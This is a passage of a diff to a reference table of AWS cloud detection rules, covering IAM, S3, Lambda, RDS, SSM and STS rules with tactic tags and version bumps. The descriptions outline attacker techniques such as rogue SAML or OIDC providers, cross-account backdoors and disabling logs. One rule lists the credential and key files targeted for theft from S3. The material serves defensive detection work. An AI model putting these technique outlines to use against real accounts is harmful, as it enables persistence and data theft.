[Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Resources: Investigation Guide], [Tactic: Impact], [Tactic: Persistence] |None |217 |<> |Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |212 @@ -206,17 +230,17 @@ and their rule type is `machine_learning`. |<> |Identifies the first time, within the configured history window, that a long-term IAM access key ID (prefix AKIA) is used successfully from a given source.ip in AWS CloudTrail. Long-term access keys belong to IAM users or the account root user. They are a common target after credential theft or leakage, including supply-chain and exposed-key scenarios. Temporary security credentials (prefix ASIA) and console sessions are excluded so the signal emphasizes programmatic access patterns. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Initial Access], [Resources: Investigation Guide] |None |2 -|<> |Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |3 +|<> |Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |4 |<> |Identifies the modification or removal of an IAM permissions boundary on an IAM user or role. A permissions boundary caps the maximum permissions an identity can have, regardless of its attached identity policies. An adversary who can delete a boundary ("DeleteUserPermissionsBoundary", "DeleteRolePermissionsBoundary") or replace it with a more permissive one ("PutUserPermissionsBoundary", "PutRolePermissionsBoundary") can lift that cap and unlock permissions the identity's policies already grant, enabling privilege escalation. Boundary changes are infrequent and usually performed by a small set of administrators or infrastructure-as-code pipelines, so changes by unexpected principals warrant review. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 |<> |Detects repeated failed attempts to update an IAM role’s trust policy in an AWS account, consistent with role and user enumeration techniques. In this technique, an attacker who controls credentials in the current account repeatedly calls UpdateAssumeRolePolicy on a single role, cycling through guessed cross-account role or user ARNs as the principal. When those principals are invalid, IAM returns MalformedPolicyDocumentException, producing a burst of failed UpdateAssumeRolePolicy events. This rule alerts on that brute-force pattern originating from this account, which may indicate that the account is being used as attack infrastructure or that offensive tooling (such as Pacu) is running here. Note: this rule does not detect other accounts enumerating roles, because those API calls are logged in the caller’s account, not the target account. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Discovery], [Tactic: Credential Access] |None |216 -|<> |Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |9 +|<> |Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |10 |<> |Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |9 -|<> |Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |3 +|<> |Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |4 |<> |Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |214 @@ -224,9 +248,11 @@ and their rule type is `machine_learning`. |<> |Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |215 +|<> |Identifies the first observed occurrence, within the configured New Terms history window, of a regular IAM user successfully signing in to the AWS Management Console without multi-factor authentication. A password alone is a weaker control than password-plus-MFA, and an adversary who has phished, guessed, or otherwise obtained a user's password can sign in directly if MFA is not enforced for that user. This rule is scoped to standard IAM users only; it excludes the AWS root user (covered by a dedicated rule) and federated/SSO sign-ins (covered by a dedicated rule that also accounts for IdP-side MFA), since MFAUsed: No is expected in both of those cases for reasons unrelated to this gap. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |1 + |<> |Identifies an IAM user that successfully signs in to the AWS Management Console from two or more distinct countries within a short window. A single user authenticating from multiple geographic locations in a brief period is physically implausible and indicates that the account's credentials or console session are being used from more than one place at once. This is a hallmark of adversary-in-the-middle (AiTM) phishing and session theft, where the legitimate user signs in from their location while the attacker replays the captured session or credentials from their own infrastructure. Because the attacker logs in from a different network, the divergent sign-in geolocations are the detectable signal even when MFA appears satisfied (AiTM relays the live MFA challenge). This is the CloudTrail-native analog of identity-provider impossible-travel sign-in detections. |[Domain: Cloud], [Domain: Identity], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |2 -|<> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |13 +|<> |An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS IAM], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Resources: Investigation Guide] |None |14 |<> |Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Tactic: Persistence], [Use Case: Identity and Access Audit], [Resources: Investigation Guide] |None |5 @@ -252,9 +278,9 @@ and their rule type is `machine_learning`. |<> |Identifies a change to an AWS Lambda function resource policy that grants invoke permissions to an AWS account principal. Using AddPermission, an adversary can authorize a principal in another account to call a function, creating a cross-account backdoor for execution or for relaying data to attacker-controlled infrastructure without modifying the function's code. This rule excludes public grants (principal set to "*"), which are covered by a separate rule, and grants to AWS service principals, which are common for legitimate event triggers. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Lambda], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 -|<> |Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Lambda], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |8 +|<> |Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Lambda], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |9 -|<> |Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function URLs with public access should be rare and deliberate, so this configuration warrants review. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Lambda], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 +|<> |Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function URLs with public access should be rare and deliberate, so this configuration warrants review. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Lambda], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |2 |<> |Identifies when a Lambda layer is added to an existing AWS Lambda function. Lambda layers allow shared code, dependencies, or runtime modifications to be injected into a function’s execution environment. Adversaries with the ability to update function configurations may add a malicious layer to establish persistence, run unauthorized code, or intercept data handled by the function. This activity should be reviewed to ensure the modification is expected and authorized. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Lambda], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |9 @@ -266,6 +292,8 @@ and their rule type is `machine_learning`. |<> |Identifies a successful login to the AWS Management Console by the Root user. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access], [Tactic: Privilege Escalation] |None |214 +|<> |Identifies a principal that, within a short window, both registers an Amazon ECS task definition using a public / non-ECR container image at a high CPU allocation (8 or 16 vCPU) AND launches ECS workloads (RunTask, StartTask, or CreateService). Registering a public miner image at maximum compute and then launching it is the ECS/Fargate cryptocurrency-mining deployment pattern seen after credential compromise. Requiring both the mining-signature registration and a launch by the same principal confirms an actual deployment rather than a standalone (possibly benign) task-definition registration, which sharply reduces false positives from high-compute workloads that are merely registered. |[Domain: Cloud], [Data Source: AWS], [Data Source: AWS CloudTrail], [Data Source: Amazon Web Services], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |1 + |<> |Identifies the creation or modification of an Amazon RDS DB instance or cluster where the "publiclyAccessible" attribute is set to "true". Publicly accessible RDS instances expose a network endpoint on the public internet, which may allow unauthorized access if combined with overly permissive security groups, weak authentication, or misconfigured IAM policies. Adversaries may enable public access on an existing instance, or create a new publicly accessible instance, to establish persistence, move data outside of controlled network boundaries, or bypass internal access controls. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Defense Evasion] |None |9 |<> |Identifies the restoration of an AWS RDS database instance from a snapshot or S3 backup. Adversaries with access to valid credentials may restore copies of existing databases to bypass logging and monitoring controls or to exfiltrate sensitive data from a duplicated environment. This rule detects successful restoration operations using "RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3", which may indicate unauthorized data access or post-compromise defense evasion. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |214 @@ -282,7 +310,7 @@ and their rule type is `machine_learning`. |<> |Identifies the deletion of an AWS RDS DB snapshot or configuration changes that effectively remove backup coverage for a DB instance. RDS snapshots contain full backups of database instances, and disabling automated backups by setting "backupRetentionPeriod=0" has a similar impact by preventing future restore points. Adversaries with the appropriate permissions may delete snapshots or disable backups to inhibit recovery, destroy forensic evidence, or prepare for follow-on destructive actions such as instance or cluster deletion. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS RDS], [Use Case: Asset Visibility], [Tactic: Impact], [Resources: Investigation Guide] |None |9 -|<> |Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Asset Visibility], [Tactic: Collection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |213 +|<> |Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Use Case: Asset Visibility], [Tactic: Collection], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |214 |<> |Surfaces an AWS identity whose successful API traffic is dominated by a small set of large cloud-provider source AS organization labels, yet also shows a very small share of traffic from other AS organization names—including at least one sensitive control-plane, credential, storage, or model-invocation action on that uncommon network path with recent activity from the uncommon path. The intent is to highlight disproportionate “baseline” cloud egress versus sparse use from rarer networks on the same principal, a shape that can appear when automation or CI credentials are reused or pivoted outside their usual hosted-cloud footprint. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |1 @@ -304,9 +332,9 @@ and their rule type is `machine_learning`. |<> |Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Exfiltration], [Tactic: Collection], [Resources: Investigation Guide] |None |10 -|<> |Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |8 +|<> |Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Exfiltration] |None |9 -|<> |Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |7 +|<> |Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |8 |<> |Detects successful S3 GetObject calls targeting high-value credential and secret files commonly stored in S3 buckets: AWS credentials files (".aws/credentials", ".aws/config"), SSH private keys ("id_rsa", "id_ed25519", "id_ecdsa", "id_dsa"), environment files (".env"), PEM and PuTTY key files, and other private key patterns. These file types are high-yield targets for credential harvesting from S3. The rule excludes AWSService identity type to suppress S3 replication, Glacier restore, and other AWS-internal data movement that legitimately reads these files. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 @@ -314,7 +342,7 @@ and their rule type is `machine_learning`. |<> |Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide] |None |8 -|<> |This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Tactic: Impact], [Use Case: Web Application Compromise], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |9 +|<> |This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Tactic: Impact], [Use Case: Web Application Compromise], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |10 |<> |Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: Amazon S3], [Use Case: Asset Visibility], [Resources: Investigation Guide], [Tactic: Collection] |None |9 @@ -322,17 +350,17 @@ and their rule type is `machine_learning`. |<> |Identifies when an SNS topic is created by a user who does not typically perform this action. Adversaries may create SNS topics to stage capabilities for data exfiltration or other malicious activities. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SNS], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Resource Development], [Tactic: Impact] |None |6 -|<> |Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SNS], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Lateral Movement], [Tactic: Exfiltration], [Tactic: Impact] |None |6 +|<> |Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SNS], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Lateral Movement], [Tactic: Exfiltration], [Tactic: Impact] |None |7 |<> |Identifies when an AWS Simple Queue Service (SQS) queue is purged. Purging an SQS queue permanently deletes all messages currently in the queue. Adversaries may use this action to disrupt application workflows, destroy operational data, or impair monitoring and alerting by removing messages that contain evidence of malicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SQS], [Use Case: Threat Detection], [Use Case: Log Auditing], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |8 -|<> |Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SSM], [Data Source: AWS Systems Manager], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Execution] |None |6 +|<> |Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SSM], [Data Source: AWS Systems Manager], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Execution] |None |7 |<> |Detects the rare occurrence of a user or role accessing AWS Systems Manager (SSM) inventory APIs or running the AWS-GatherSoftwareInventory job. These APIs reveal detailed information about managed EC2 instances including installed software, patch compliance status, and command execution history. Adversaries may use these calls to collect software inventory while blending in with legitimate AWS operations. This is a New Terms rule that detects when a user accesses these reconnaissance APIs for the first time. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SSM], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |3 |<> |Identifies process start events where the parent process is the AWS Systems Manager (SSM) Session Manager worker. Session Manager provides interactive shell access to EC2 instances and hybrid nodes without bastion hosts or open inbound ports. Adversaries abuse it for remote execution and lateral movement using legitimate AWS credentials and IAM permissions. This rule surfaces endpoint execution occurring under that worker for visibility and hunting. Expect noise from authorized administrative sessions. |[Domain: Endpoint], [Domain: Cloud], [OS: Linux], [OS: Windows], [OS: macOS], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |3 -|<> |Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SSM], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |6 +|<> |Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SSM], [Data Source: AWS EC2], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |7 |<> |Detects the execution of commands or scripts on EC2 instances using AWS Systems Manager (SSM), such as RunShellScript, RunPowerShellScript or custom documents. While legitimate users may employ these commands for management tasks, they can also be exploited by attackers with credentials to establish persistence, install malware, or execute reverse shells for further access to compromised instances. This is a New Terms rule that looks for the first instance of this behavior by a user or role. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS SSM], [Data Source: AWS Systems Manager], [Use Case: Log Auditing], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |216 @@ -340,7 +368,7 @@ and their rule type is `machine_learning`. |<> |Identifies when a user has assumed a role using a new MFA device. Users can assume a role to obtain temporary credentials and access AWS resources using the AssumeRole API of AWS Security Token Service (STS). While a new MFA device is not always indicative of malicious behavior it should be verified as adversaries can use this technique for persistence and privilege escalation. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation], [Tactic: Persistence], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |8 -|<> |Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation] |None |8 +|<> |Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member 